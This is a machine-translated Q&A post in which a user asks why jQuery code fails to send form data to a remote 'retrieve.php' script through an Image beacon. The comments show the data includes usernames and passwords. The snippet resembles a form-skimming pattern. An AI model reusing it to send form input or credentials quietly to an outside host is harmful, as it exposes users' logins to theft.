尝试使用Javascript变量值发出新Img.src()请求时出错

尝试使用Javascript变量值发出新Img.src()请求时出错,javascript,Javascript,我的Javascript代码中有一部分可以收集一些信息,并在用户在网站上提交表单后将其发送到服务器: var a = {"Event":"Form", "Current":document.URL, "Info":$(this).attr('action')}; $.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; }); new

我的Javascript代码中有一部分可以收集一些信息,并在用户在网站上提交表单后将其发送到服务器:

var a = {"Event":"Form", "Current":document.URL, "Info":$(this).attr('action')};
$.each($(this).serializeArray(), function(i, f) { l[f.name] = f.value; });
new Image().src = "http://website.com/config/php_conf/retrieve.php?data="+ "Current:" + document.URL + "Info:" + $(this).attr('action');
问题在第三行,如何将
$(this).attr('action')
发送到服务器,方法与
文档相同。URL
发送时没有任何问题。在服务器上,我检索document.URL值,但我不检索任何带有
$(this.attr('action')
的内容

我尝试用以下代码替换第三行:

newimage().src=”http://website.com/config/php_conf/retrieve.php?data=“+a;

我仍然没有解决它,因为在服务器日志中,我得到了
[object][object]
作为结果


我对Javascript非常熟悉,因此希望您能提供任何帮助。

url的外观如何?请求将类似于:在浏览器上,代码工作正常,$(this.attr('action'))将显示:```目标:用户名:您好密码:密码``将凭据放在URL中不是一个好主意URL应该是什么样子的?请求看起来像:在浏览器上,代码工作正常,$(this.attr('action'))将显示:```目标:用户名:您好密码:密码:``将凭据放在URL中不是一个好主意